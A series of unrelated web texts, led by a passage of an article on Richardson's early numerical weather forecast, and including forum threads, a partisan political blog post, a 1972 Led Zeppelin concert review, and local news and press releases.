Time as well as space is discrete in Richardson's scheme. He chose a basic time unit of Δt=3 hours. He also employed a "leapfrog" method of numerical integration, where events at time t+1 depend on the state of the system both at the present time t and at the previous moment t–1. But the leapfrog process hardly got started in Richardson's calculation. He carried out only a single step of the integration, computing the "initial tendencies"—the rates of change in pressure, momentum, etc.—and used these tendencies to compute the changes in the weather over a period of 2Δt, or six hours, centered on 7 a.m.
Here are the results, as Richardson reported them in his book Weather Prediction by Numerical Process. In the central M cell, which covered the area surrounding Nurenberg and Weimar, the surface wind freshened somewhat over the six hours of the forecast, while the stratospheric winds increased more than tenfold. An even more dramatic change was seen in the P cell to the south, over Munich. According to the model, barometric pressure in the lowest stratum rose by 145 millibars to 1,108 millibars. If this surface pressure had been correct, it would have been a world record; the actual barometric reading was nearly steady on that day.
What went wrong? The prime suspect in a case like this one is usually numerical instability. When the result of one step serves as the input for the next step, small errors can multiply and grow explosively. There is a rule for avoiding such a catastrophic loss of accuracy: The time step must be kept shorter than the time needed for information to propagate through the model—in this case between observing stations spaced every 200 kilometers. According to this criterion, Δt in Richardson's model should have been no more than about 30 minutes. Richardson can hardly be blamed for breaking this rule—the limit on Δt was not discovered until a decade later (by Richard Courant, Kurt Otto Friedrichs and Hans Lewy)—but the model is clearly in violation all the same.
The Courant-Friedrichs-Lewy condition has been cited as a possible cause of failure by several commentators on Richardson's work, including Sydney Chapman in the preface to a reprinting of Weather Prediction by Numerical Process. Nevertheless, numerical instability cannot be the source of the problem. Errors grow exponentially when the finite-difference procedure is iterated, with the output of each stage becoming the input to the next stage. Richardson stopped calculating after one step. If he had kept going, instability would doubtless have appeared, but it can't explain a large error in the initial tendencies.
Another possible culprit is the phenomenon called deterministic chaos, which Edward N. Lorenz described 35 years ago, also in the context of weather prediction. Lorenzian chaos is superficially similar to numerical instability, but a chaotic system remains unpredictable even if each step of the calculation is performed with perfect precision. The slightest change in the initial conditions is enough to produce a divergent result. There is no question that Richardson's calculation would be subject to this problem if it were continued long enough, but again chaos can't explain a failure in the first step.
The real cause of Richardson's forecasting error was identified by Richardson himself. At the end of his table of results, he wrote: "It is claimed that the above form a fairly correct deduction from a somewhat unnatural initial distribution." In other words, the problem lay not in the algorithm but in the input data. A close look at the data confirms this diagnosis and also shows clearly why weather prediction is such a hard problem.
The main troublespot is the part of the calculation where pressure is determined from the convergence (or divergence) of winds. Along each horizontal axis, the wind convergence is calculated as the small difference between two large numbers. Under these circumstances, even slight errors in the initial wind data can cause large variations in the computed convergence. For example, suppose the true east-west winds on either side of a P cell have magnitudes of 101 and 99 (in some appropriate system of units). Then the east-west convergence is equal to 2. If the measurement of either wind is off by just 1 percent, however, the convergence will change by 50 percent or 100 percent. This disastrous error in convergence will be reflected in the predicted barometric pressure.
Another property of the atmosphere compounds the sensitivity to measurement errors. If low-level winds in a region are converging, upper-level winds over the same area are usually diverging. This state of balance tends to reduce the effect that convergence or divergence would have on barometric pressure, but again the balance is easily upset by measurement errors.
And just as errors in wind measurement degrade the prediction of pressure, so also pressure errors confound wind predictions. Here too the culprit is the subtraction of two nearly equal quantities—the pressure-gradient term and the Coriolis term in the atmospheric equations of motion. Because the terms generally have about the same magnitude, small errors in observations yield large changes in predicted wind.
Richardson recognized these mechanisms and suggested smoothing the initial data as a possible remedy. Lynch points out that the problem goes deeper. To maintain the overall state of balance in the atmosphere, smoothing either the winds or the pressures is not enough; the two sets of observations have to be made mutually consistent.
For his reconstruction of the Richardson experiment, Lynch went back to the original weather charts for May 20, 1910, and redid the interpolation process. He found only one likely error in Richardson's initial data—a suspiciously low pressure over Strasbourg. Data values elsewhere were in good agreement.
Although Lynch set out to create a faithful reproduction of Richardson's model, he did not do the arithmetic with pencil and paper; the model was implemented as a computer program. But even though computing power was not a limiting resource, Lynch decided to simplify the model in some respects. A curiosity of Richardson's work is that he included certain physical and even biological phenomena that now seem marginal. He was a shrewd numerical analyst, and he must have been able to estimate the importance of each term in his equations; nevertheless, he invested much effort in modeling factors that could not possibly have much effect on the overall outcome. For example, he calculated the temperature of the soil at various levels and the effects of vegetation on moisture in the atmosphere. These influences might be barely detectable in a high-precision weather model, but it was premature to build them into this first crude experiment. Lynch neglects these factors, and indeed drops all consideration of water in the atmosphere.
The results of Lynch's replica computation are quite close to those of the original. The surface-level rise in pressure was 145.1 millibars according to Richardson, and 145.4 according to Lynch. Predicted winds do not match quite as closely, but the average discrepancy is only about 13 percent.
Having reproduced Richardson's faulty calculation, Lynch then went on to try correcting it. The problem of initial observations that are not in harmony persists in weather prediction today, but digital filtering techniques have been devised to reconcile the wind and pressure fields. Lynch applied one of these filtering methods, which essentially runs the model both forward and backward from the starting point to generate a consistent set of values. With the filtered data, and with a smaller Δt to ensure numerical stability, all results were physically plausible and in reasonably good agreement with observations. Richardson came that close to getting it right.
Richardson ended his book with a daydream about the future of numerical weather prediction. He estimated that it would take 64,000 computers (and by "computers" he meant people) to keep up with all the world's weather. The work might be done in a great spherical hall. "The walls of this chamber are painted to form a map of the globe. The ceiling represents the north polar regions, England is in the gallery, the tropics in the upper circle, Australia on the dress circle and the antarctic in the pit. A myriad of computers are at work upon the weather of the part of the map where each sits.... From the floor of the pit a tall pillar rises to half the height of the hall. It carries a large pulpit on its top. In this sits the man in charge of the whole theatre.... One of his duties is to maintain a uniform speed of progress in all parts of the globe. In this respect he is like the conductor of an orchestra in which the instruments are slide-rules and calculating machines. But instead of waving a baton he turns a beam of rosy light upon any region that is running ahead of the rest, and a beam of blue light upon those who are behindhand."
Lynch and others have pointed out that the estimate of 64,000 computers was a serious undercount. Even by Richardson's own criteria, the number probably should have been 200,000, and a modern estimate would be much larger still. Indeed, if we were to try to do by hand labor all the computing that is nowadays dedicated to weather prediction, the entire human population could not keep up. Thus Richardson's orchestra of slide-rules was never a realistic possibility. Practical forecasting by numerical methods could not have begun much sooner than it did, with the work of Jule Charney and John von Neumann around 1950.
Nevertheless, Lynch concludes his article with a wistful consideration of what might have been, if Richardson's early forecast had not gone awry. "Let us suppose that Richardson had applied some filter, however crude, to his initial data. His results might well have been realistic, and his method would surely have been given the attention which it certainly deserved." I would not disagree, and yet at the same time I find that what is most interesting about the forecast is its failure, and what is most admirable about Richardson is his determination to publish it anyway. The failure of the experiment even made it worth repeating.
© Brian Hayes
You can find this online at http://www.americanscientist.org/issues/num2/the-weatherman/5
© 2016 Sigma Xi, The Scientific Research Society


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bout to put up an ad for swarms ever got false swarm calls either please share and tell how to avoid false calls
bout to put up an ad for swarms ever got false swarm calls either please share and tell how to avoid false calls
I remove all of them. Honey bees make it to our apiary.
It helps to add a pic of an actual honey bee in your ad.
You can ask questions, have them describe the swarm, ask for an e-mail photo, but better to just go (if feasible) and help them out if you can. Next time it may be the real thing. If you get there, and it is hornets/bumblebees you decide if it is something you want to tackle.
I have made good money on those calls way easier than a honey bee cut out!
Something you might want to concider is talking to the extermination companies in your area. Several in my area where very happy to give me the bee's rather then killing them.
Most states have rules against killing insects on other people's property, or for other people. It is called extermination.
You will get false calls even from exterminators, educators, and people that should know the different insects. Ask a few questions before you go. Where is the nest located? How large is the nest? Can you tell what they are eating? If you have been stung, did it leave a stinger? Even Winnie the Pooh did not know the difference between hornets and honeybees.
I don't believe you can "avoid" them. Keep them to a minimum. Lots of folks just do not know the difference. Can't explain the difference. I had one that I talked through and had me convinced they were bees. I had them send a pic to my email. Yellow jackets. JMO, you have scrutinize the best you can and go with the flow. Comes with the territory
I charge to come out to Educate them what a Wasp is.
I always get calls from people that don't know the difference, so I ask enough questions to save myself the drive.
- Can you see the hive/nest?
- Is it about the size of a football, or is it smaller?
- How many bees/wasps do you count on the nest?
As far as running your ads, there's not much you can do... they're going to click (AdWords charges you) or call. And you don't want a negative word in your ad like "We don't do wasps." or "Sorry, no wasps or hornets"
Beyond that, not much you can do besides putting something on your webpage clearly noting the visual differences between them and hope that you only get bee calls.
Saving Bees with Your Help.
Bee Rescue LLC
AmericasBeekeeper called it: you CAN do the removal but you're stepping on licensed pest guys who have a massive regulatory system behind them. Nothing against them, just know that them's the rules. As to the calls there's nothing for it... few people differentiate. But the stock question list saves time: "can you see a brownish nest or are they coming and going through a hole into a cavity of some sort? Do they have little colored balls in their hind legs when they land?" etc.
Bees, brews and fun
in Lyons, CO


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Good news: Obama backs off-shore drilling! Update: A Soros connection?
posted at 3:35 pm on August 18, 2009 by Ed Morrissey
This should be good news for the Drill Here, Drill Now contingent, right? The Obama administration has committed $2 billion in loans to exploit offshore oil resources in hopes of extracting a major new source of petroleum. Despite the White House pursuit of a cap-and-trade scheme to limit the use of fossil fuels, the new field could help bring lower energy prices, and their support of this exploration of American resources shows their flexibility on energy policy.
Wait — did I say American resources? That's true, but only in the South American sense (via Gateway Pundit):
The U.S. is going to lend billions of dollars to Brazil's state-owned oil company, Petrobras, to finance exploration of the huge offshore discovery in Brazil's Tupi oil field in the Santos Basin near Rio de Janeiro. Brazil's planning minister confirmed that White House National Security Adviser James Jones met this month with Brazilian officials to talk about the loan.
The U.S. Export-Import Bank tells us it has issued a "preliminary commitment" letter to Petrobras in the amount of $2 billion and has discussed with Brazil the possibility of increasing that amount. Ex-Im Bank says it has not decided whether the money will come in the form of a direct loan or loan guarantees. Either way, this corporate foreign aid may strike some readers as odd, given that the U.S. Treasury seems desperate for cash and Petrobras is one of the largest corporations in the Americas. …
But it still doesn't allow the U.S. to explore in Alaska or along the East and West Coasts, which could be our equivalent of the Tupi oil fields, which are set to make Brazil a leading oil exporter. Americans are right to wonder why Mr. Obama is underwriting in Brazil what he won't allow at home.
This seems odd in several ways. For this particular administration to offer billions in loans to a foreign oil company makes a mockery of a number of Obama talking points. First, why does Petrobas need loan guarantees to pursue its exploration? As the WSJ notes, it is a very large corporation, which should have the resources to get to the oil on its own. Obama, who has ripped American corporations for their supposed subsidies in American tax policy, now wants to use an empty Treasury to give cash to a Brazilian oil company.
Next, Obama keeps insisting that we cut back on our use of fossil fuels. He and his allies in Congress have blocked exploration of American oil fields off both shores for decades, and Obama insists that we would only keep enabling our oil addiction if we started drilling off of our own coasts. Yet he has no trouble committing $2,000,000,000 of our money for Brazil to drill off its own coast.
Here's a proposal: Let American companies do what Obama is paying Brazilian companies to do — drill offshore. We won't have to pay them money or float them any loans to do it, either. In fact, we will make money off of the leases, while the effort creates hundreds of thousands of high-paying jobs in the US, creating more tax revenue rather than emptying out the Treasury.
Update: Who else besides Obama has taken an interest in Petrobras? Hmmmmmm:
His New York-based hedge-fund firm, Soros Fund Management LLC, sold 22 million U.S.-listed common shares of Petrobras, as the Brazilian oil company is known, according to a filing today with the U.S. Securities and Exchange Commission. Soros bought 5.8 million of the company's U.S.-traded preferred shares.
Soros is taking advantage of the spread between the two types of U.S.-listed Petrobras shares, said Luis Maizel, president of LM Capital Group LLC, which manages about $4 billion. The common shares were 21 percent more expensive than preferred today, according to data compiled by Bloomberg. …
Petrobras preferred shares have also a 10 percent additional dividend, said William Landers, a senior portfolio manager for Latin America at Blackrock Inc.
"Given that there will most likely never be a change in control in the company, I see no reason to pay a higher price for the common shares." Brazil's government controls Petrobras and has a majority stake of voting shares.
This story is from last Friday. Is it a coincidence that Obama backer George Soros repositioned himself in Petrobras to get dividends just a few days before Obama committed $2 billion in loans and guarantees for Petrobras' offshore operations? Hmmmmmmmmmm.
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text:
Genre: Fiction
Number of pages: 224
What's the basic story line?
The Third Wheel introduces us to the romantic side of sixth grader Greg Heffley. A Valentine's Day dance is planned, and he is desperate to find someone to accompany him. As in most Diary of a Wimpy Kid books, things do not go according to plan. While Greg is successful at finding a girl from his class to go with him, he realizes he doesn't have anyone to drive him there. His only option is to go with his best friend, Rowley, too. That is when The Third Wheel adventures begin.
Are the characters believable?
The characters are believable. Greg and Rowley are the main characters. They are consistently faced with complicated issues as they navigate their way through middle school life. Many kids can relate to the experiences and interactions that Greg and Rowley run into, even though the stories may seem exaggerated at times.
On a scale of 1 to 10 (10 being best), how would you rate this book?
I would rate The Third Wheel an 8 out of 10. The pages are chock-full of jokes and humorous drawings. There is a wide variety of characters to entertain every reader. I would definitely recommend this book to kids and adults.


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News Article
We at Lonestar SC would like to congratulate one of our coaches - Zack Pope on being appointed Assistant Coach at the Austin Aztexs. Zack will continue to coach for LSC whilst in this role and we wish him the best of luck.
Read the official Press Release below for more information:
AUSTIN, Texas (February 10, 2014) — Austin Aztex Head Coach Manuel Buentello has named Zack Pope as assistant coach of the reigning USL PDL Champions as they look to defend their title in the 2014 season.
"I am very pleased to be working with Zack," Aztex Head Coach Manuel Buentello said. "He thoroughly understands the goals of the organization and what it takes to achieve them. Zack has been involved with the Aztex since the beginning and he is intimately linked to its success. He has represented the organization very well during his time as a player."
Pope, 27, was the team captain for the Austin Aztex and appeared in 32 games during their previous two seasons. Playing as a defender, Pope helped the Aztex stand among the league leaders in fewest goals allowed through both seasons.
"Zack was not only the captain of the team, but also a leader off the field," Buentello said. "Through his hard work and dedication, he earned respect from both his teammates and the coaching staff."
"We are Austin's team and I was looking for the perfect candidate that could represent the Aztex's heart and soul. With the success we achieved on the field last season, I felt it important to keep the same continuity. After looking at a long list of possible candidates, I was delighted to hear of Zack's interest in moving his career in a new direction. He is a product of Austin and has been a constant in Austin's soccer scene from his early beginnings as a successful local youth player to playing for the PDL National Championship team in our city."
Pope has an extensive history of playing soccer in the Austin area. Pope attended Stony Point High School in Round Rock and played collegiately at Duke University, where he graduated with a psychology degree and a minor in sociology.
Pope was drafted 40th overall in the 2008 MLS Supplemental Draft by the Chicago Fire and appeared in reserve games for the Fire and FC Dallas. In 2009, Pope made seven appearances for the Austin Aztex USL1 team.
Pope gained coaching experience as an assistant coach with Southwestern University men's soccer team, Stony Point High School's boys varsity team, and head coach of St. Andrew's Episcopal School's girls varsity soccer team. Pope served as trainer and technical director of Cen Tex Soccer Training from 2008 to 2010 and is the owner of Acurix Elite Performance Training. In addition, Pope serves as staff coach for Lonestar Soccer Club, with whom he will continue to coach.
"It is an honor to be able to continue my relationship with the Aztex organization and I look forward to being part of its growing success," Pope said. "There's no better way I can think of making my transition to the other side of the game than to be here with Austin's team. It means a lot that Manuel and the Aztex front office believe in me and provided this opportunity to continue with the organization on a new career path. That's what the Aztex are all about."
Returning members of the Aztex coaching staff include Assistant Coach Ben Crawley and Goalkeeper Coach Ric Granryd.
The Aztex return to the field in 2014 to begin their title defense when they host the Houston Dutch Lions on May 10 at House Park. The Aztex will conduct their final try outs with the Collegiate Trial on Saturday, March 15 and the Open/Community Trial on Sunday, March 16.
About the Austin Aztex
The Austin Aztex compete in the USL Premier Development League (PDL) under the helm of head coach Manuel Buentello. The team won the 2013 League Championship in just their second year in operation. The Aztex finished the 2013 season with one of the top records in the league as well as individual accolades, including Coach of the Year (Paul Dalglish), PDL Most Valuable Player (Kris Tyrpak), and PDL Championship MVP (Sito Seoane). The Aztex finished the 2013 campaign with five consecutive single-game attendance records and were among the top ten highest-drawing teams in the league, earning the USL PDL Franchise of the Year award. The franchise is owned and operated by ATX SOCCER LLC, chaired by Rene Van De Zande, President and CEO of Emergo Group and founder David Markley, VP of Technology Development for Fallbrook Technologies. For more information, visit www.austinaztex.com.


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February 25, 1972
Auckland, NZ
Western Springs Stadium
Immigrant Song, Heartbreaker, Black Dog, Since I've Been Loving You, Celebration Day, Stairway to Heaven, Going to California, That's the Way, Tangerine, Bron-Y-Aur Stomp, Dazed and Confused, What Is And What Should Never Be, Moby Dick, Rock And Roll, Whole Lotta Love (medley incl. Let That Boy Boogie, Hello Mary Lou, Let's Have a Party, Going Down Slow), Communication Breakdown.
Click here to view the 1972 Australian tour programme
Press Review: A Special Report: Fear & Led Zep In New Zealand
RAY COLBERT- AUCKLAND, New Zealand -- Robert Raymond is: an Australian, a qualified lawyer, sun-tanned, pleasant-mannered and a promoter who has taken up residence in Remuera, a very plush suburb of Auckland, New Zealand, and from there he has brought over Tom Paxton, Creedence Clearwater, Mary Hopkin, Mungo Jerry, Elton John, Led Zeppelin and a few others I've probably forgotten -- all this in less than six months, to a country which is veritably Townshend's Teenage Wasteland. Or was, up until less than six months ago.
Most of these acts would doubtless have made it over here anyway, the difference here being the rapidity in which they have arrived, but where the appearance of Elton John was an eye-brow raiser, the arrival of Zeppelin brought a near-catatonic reaction from the country's rock freaks, who descended on Auckland from as far away as Dunedin (the other end of the country: about 900 miles) for the open air concert February 25th. Three planes brought the equipment across the Tasman, and from what Raymond would say, it appeared that the whole thing would cost him around $40,000. Seats sold at $3.10 and $4.10 and somewhere between 20,000 and 25,000 filled the Western Springs Stadium (a couple of miles from Auckland city and usually used for stock cars and other related entertainment) -- so it seems the genial Raymond did OK. They don't pay lawyers that well over here, that's for sure.
Zeppelin had come from Australia, and in keeping with a number of rock acts who've played there, they didn't have much of a time there. A harrowing raid on their motel in Perth had obviously left it's mark on a still-shaken Jimmy Page at the small party quickly arranged for them the night they arrived. You sensed they were going to play this one through on alcohol before getting back to Sanity. "Australia was really pretty s-----," said Page as his eyes wandered around the room -- the occasional groupie grooving to Sha Na Na (Sha Na Na?), the inevitable media people whom Raymond tactfully remembered to invite, and John Bonham filling the intermittent silences with amusing and loud imitations . . . a chick with "Merlene" knitted across her breasts, was arranging "interviews" (EMI's delightful press liaison girl Louise told me Merlene was "a strange person who read poetry in Wellington -- 500 miles away") and it was later dutifully reported that Merlene had scored two out of four.
Our little group was heavily into the Raoul Duke thing -- those ROLLING STONE issues had just arrived in New Zealand -- as we laid our goodies out on the table (what's more, I'd just flown up from Dunedin to discover that AUCKLAND WERE NOT YET INTO NITROUS OXIDE, and so the gleaming blue 275-gallon cylinder took pride of place in the middle of the table. Something to sustain the stone later in the evening.)
It was a good three hours before starting time when we set off for Western Springs (we began to peak prematurely as the Yugoslav taxi-driver quickly launched into an excited discussion on communes and people-who-live-on-beaches: "Have you seen them?" he roared at us as he snaked dangerously in and out of the lanes. Roger tipped him ten cents at the end and we ran off). Three hours wasn't in any way early and we got some of the remaining good seats on the hill overlooking the stage, perhaps 75 yards away.
We were warmed up with the Allman Brothers' live double album. I don't know how many knew that Duane Allman was dead (I don't know how many knew Duane Allman actually) but the razor-sharp lead guitar came through the superb system with each note crystal clear. Then it was dark, 8 o'clock, and we knew it would be any minute . . .
There had been some publicity on how there would be live animals jumping through hoops, but all that had sort of been forgotten what with all the mind-food fighting for a hold in our heads. But suddenly there was a lion on stage: Plant. I mean we all read the rock magazines over here and the record companies sportingly release just about everything with half a reputation, but we didn't realize that Zeppelin were so loud -- specifically Plant doing the jungle intro to "Immigrant Song." And then Page hitting those chords...most of us had seen Townshend a couple of years before (just about the time the Who were breaking in America) and we'd always thought that was the way to play chords. But Page has moved along with the times -- and weren't we lucky to see him. On the other side of the world. Wow.
I'll skip the way they put the concert together -- it was exactly the way we expected they'd fill three hours and doubtless exactly the way they'd done it many times before. Suffice to say they played excellently, relative to their records and relative to reviews on how they'd played in the past.
It was really quite a significant evening for New Zealand and for New Zealand rock. On record there are a few bands that still have it over Led Zeppelin for my taste, but working simply on what I have to work on, I can't really see there being much better live rock around -- possibly because Zeppelin came here with a definite mystery thing where say the Stones have been exposed both live and on record live: Zeppelin haven't done anything live and they refuse to be filmed (Two detectives accompanied the NZBC film crew around Western Springs to ensure the cameras would never swing round onto the stage).
Bob Raymond has a lot more goodies planned, and he's moving into records too (a group called Ticket, who have stunned New Zealand by getting their debut album accepted by Ahmet Ertegun for release in America on Atlantic, will probably hit your shores in around six months after Australia and Japan). Winter's coming on now but around say October it gets really nice -really green, you know? But you could always ask Led Zeppelin about that. (RS107) Rolling Stone Magazine, April 27, 1972


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Your backstage pass to the DFW music scene and beyond.
Mar. 09, 2009 at 3:01pm | Permalink
The Sound Files guys are back, and this week they've ventured out of the studio: Preston catches up with Doug Burr during his recent performance at the Modern, while Ryan checks in with Steve Knopper, author of the music industry dirge 'Appetite for Self-Destruction' Completing the eclectic episo... Read more


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APSCUF delegates approve strike authorization vote
Union general membership must now vote on strike
STATE COLLEGE, Pa. - Could teachers at state universities be headed to the picket lines? It's not likely -- yet -- but they're one step closer to a strike after a vote Saturday.
At West Chester University, students may have been talking homecoming. But for faculty there -- and at Pennsylvania's 13 other state schools, including Kutztown and East Stroudsburg, the talk is about a possible strike.
"Nobody wants to go on strike," said Dan Spiegel, a Kutztown professor. "We want to do our job, but if that's what it comes down to, then we're going to have to."
Saturday, delegates to the Association of Pennsylvania State College and University Faculties (APSCUF), representing six thousand professors and coaches, voted to authorize a strike. The full membership across the state will vote next month. The move does not mean a strike is imminent; it only gives union leadership the authorization to call one.
State faculty members have been working without a contract since June 2011. The main sticking points are health coverage for current faculty and benefits for retirees. A spokesman for the Pennsylvania State System of Higher Education said the system is just trying to get costs in line with other state employees in a tough budget situation. He added the several other employee unions have already reached deals to reduce costs.
Students have mixed feelings about a possible strike.
"If you can't go to class, you can't learn anything," said Jill Augustyniak, "but I can see how health care would be a big issue."
APSCUF also claims the state wants to bring in too many lower-paid, less qualified, temporary faculty.
"If some of these proposals are implemented, it will have a very serious negative effect on the quality of the education offered," Spiegel said.
According to Spiegel, the vote doesn't mean that a strike is likely; he said this is just another step in the bargaining process. But, he said they are willing to hit the picket lines if that's what it takes.
"We couldn't go to class," said West Chester junior Liz Kane. "I think it would be a big deal for us to wake up and all of our teachers just say, 'You know what? We're not going to teach you today.'"
The union previously authorized strikes in 1999, 2003, and 2007, but were able to reach an agreements with the state.
It's not clear if schools have a contingency plan in case of a strike.
"We've never struck, so we've never seen what happens during a strike," said Spiegel.
According to Spiegel, if a strike happened, it would not be likely until spring. Approximately 120 thousand students attend state colleges and universities. The move does not affect state-related schools like Penn State and Pitt.
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UTSA Bookstores host open houses to preview fall books
By John Palmer
Director, UTSA Bookstores
(Aug. 3, 2009)--The UTSA Bookstores management will host an open house from 1 to 4 p.m., Wednesday, Aug. 5 at both the Downtown Campus and Main Campus bookstores. UTSA faculty and administrative staff are invited to enjoy light refreshments, meet bookstore staff and look over the course materials available for fall classes.
The idea for an open house evolved from feedback received during meetings with college faculty and administrators during the spring semester. The UTSA Bookstores have been working closely with college administrative services officers and administrative assistants as they gathered textbook information for the fall semester. Textbooks have been ordered to arrive early.
The open houses will provide faculty and staff the opportunity to check the bookshelves to ensure the correct textbooks are in place. Bookstore staff will be available to answer questions and assist with any concerns. The preview will allow time to make any needed adjustments before classes start Aug. 26.
The UTSA Bookstores are committed to student success and grateful for the support received from faculty and staff in preparation for fall semester.
For more information, call (210) 458-4220.


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Economists expect better-looking numbers when the September quarter jobs data are released on Thursday.
That is partly because the June quarter's 6.8 per cent unemployment rate and drop in employment looked, in the words of Westpac economist Felix Delbruck, "too bad to be true".
A Reuters survey of market economists' forecasts of the September unemployment rate range from 6.6 to 6.9 per cent, with the median at 6.7 per cent.
Employment is expected to rise 0.3 per cent, after a 0.1 per cent decline in June.
The unemployment rate has wobbled around a flat trend line of 6.6 per cent over the past three years as employment growth has only just kept pace with growth in the workforce.
"Not a jobless recovery, just a slow one" is the title of an analytical note by Reserve Bank economists Rebecca Craigie, David Gillmore and Nicolas Groshenny, which compares the current recovery with previous ones.
Compared with the recoveries from the 1991-92 and 1997-98 recessions both economic and employment growth have been subdued this time.
But employment growth has been stronger relative to GDP growth than previous recoveries, and growth in hours worked has outpaced employment growth.
That implies particularly low productivity growth, they point out.
In the September quarter labour market indicators softened.
The Institute of Economic Research's quarterly survey of business opinion recorded a second consecutive decline in the net balance of firms hiring.
Firms also reported that skilled labour had become easier to find.
The Westpac McDermott Millers employment confidence index, based on a survey of households, recovered modestly in the September quarter, but is still at the second lowest level since the recessionary trough of mid-2009.
ANZ said its job advertisements indicator suggested the unemployment rate would rise towards 7 per cent over the next six months.
Delbruck is picking 0.3 per cent employment growth and an unemployment rate of 6.7 per cent in line with the consensus. The household labour force survey has been plagued by a seesaw pattern, with unexplained dips tending to be followed by rebounds, he said.
In the first half of 2012, when GDP expanded by 1.6 per cent, employment growth had been dismal, not even keeping pace with population growth, while the unemployment rate rose from 6.4 per cent in December 2011 to 6.8 per cent in June.
Some of that weakness should be chalked up to sampling error, implying a statistical "bounce" in this week's numbers, he said.
"We are also mindful of the increasingly two-speed nature of the economy and the labour market," Delbruck said.
"The Canterbury rebuild is picking up rapidly while other regions and industries are sagging.
"There's a risk the surveys are understating that localised strength."
Sampling error notwithstanding, politicians are likely to focus on manufacturing employment numbers in Thursday's data.
The manufacturing sector employs about 12 per cent of employees.
At 246,500 in the June quarter it was up 1800 on a year earlier but down 20,000 or 7.4 per cent on the same quarter of 2008.
At 6.8 per cent New Zealand's unemployment rate only just makes the better half of the OECD rankings and compares badly with Australia's 5.4 per cent.
But the statisticians count people as unemployed only if they are actively looking for work, otherwise they are counted as jobless but not in the labour force.
The employment rate, by contrast, measures the proportion of the population aged between 15 and 64 who are employed.
At 72.6 per cent New Zealand has the seventh highest OECD employment rate and is slightly ahead of Australia on 72.5 per cent.


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UCC book group meets June 10
UCC book group
to meet June 10
Louise Erdrich's book "The Round House" will be discussed at the Union Congregational Church Monday Morning Book Group in Hackensack beginning at 9:30 a.m. Monday, June 10.
"The Round House" tells the story of a woman living on a reservation in North Dakota who is attacked one Sunday in the spring of 1988. The details of the crime are slow to surface as Geraldine Coutts is traumatized and reluctant to relive or reveal what happened, either to the police or to her husband, Bazil, and 13-year-old son, Joe. In one day, Joe's life is irrevocably transformed.
Join the discussion of this National Book Award winning novel with its powerful portrayal of Joe's coming-to-age experience as well the impact on his family and the reservation community.


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Why are Utah's roads, bridges, and buildings in better shape than any other state's?
Because the Beehive State tries harder, says Neal Johnson, director of the Government Performance Project at the Pew Charitable Trust which, in partnership with Governing magazine, has issued a report titled "Grading the States 2008."
"Utah sets aside funds at the beginning of each project amounting to 1.1% of total replacement value, and has a five-year, statewide capital building plan," says Johnson.
Grades for each state's infrastructure ranged from Utah's A to a D+ for Massachusetts and New Hampshire. Ten states earned the national average of B-, with 17 states above the average and 23 others below it.
"The greatest contributing factor to low grades is deferred maintenance based on decisions made by policymakers," says Johnson. "States with higher grades adopt a 'fix-what-you-already-have' attitude rather than going for the new. Michigan, which received an A-, subscribes to the motto 'fix it first'."
To assess how well a state manages its roads, bridges and buildings, the Government Performance Project team factored in the degree to which a state has transparent and effective capital planning and project monitoring processes, maintains its assets, and coordinates work within the state and with other jurisdictions.
Failure to maintain, improve, and plan for future physical infrastructure needs is reflected in lower grades.
"In 2001, all Massachusetts buildings were assessed for maintenance needs, uncovering a $1.2 billion backlog in deferred maintenance; that figure is now double," Johnson says. "Massachusetts also has $1 billion in deferred maintenance for bridges; the state, which has not had a capital plan, finally published one this year."
As governor of the state earning the highest grade, Jon Huntsman Jr. says that infrastructure has long been a top priority to Utah's policymakers. "Investment in our infrastructure is critical to continuing the economic success and quality of life we enjoy," he says. "This proactive approach maximizes cost savings from preventive maintenance rather than reconstruction."
The report notes that states with the highest grades are making better management a top priority. Washington state, for example, holds governor-led public meetings to monitor program results and improvements; Utah uses a financial tracking system that provides real-time data; and Virginia links employee rewards to improved service delivery and agency goals.


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Double Trigger? I don't know of a modern handgun that has a double trigger. Do you mean a trigger that has two definitive feels to it: the pre-travel followed by the release? If so, there is a major company that makes striker fired DAO pistols which have a trigger that feels very similar to a very good double action revolver, only better. Kahr Arms is the company. I don't know of any .22LR pistols that have triggers like the common striker fired centerfires.
Perhaps someone can chime in and offer some more info on this one.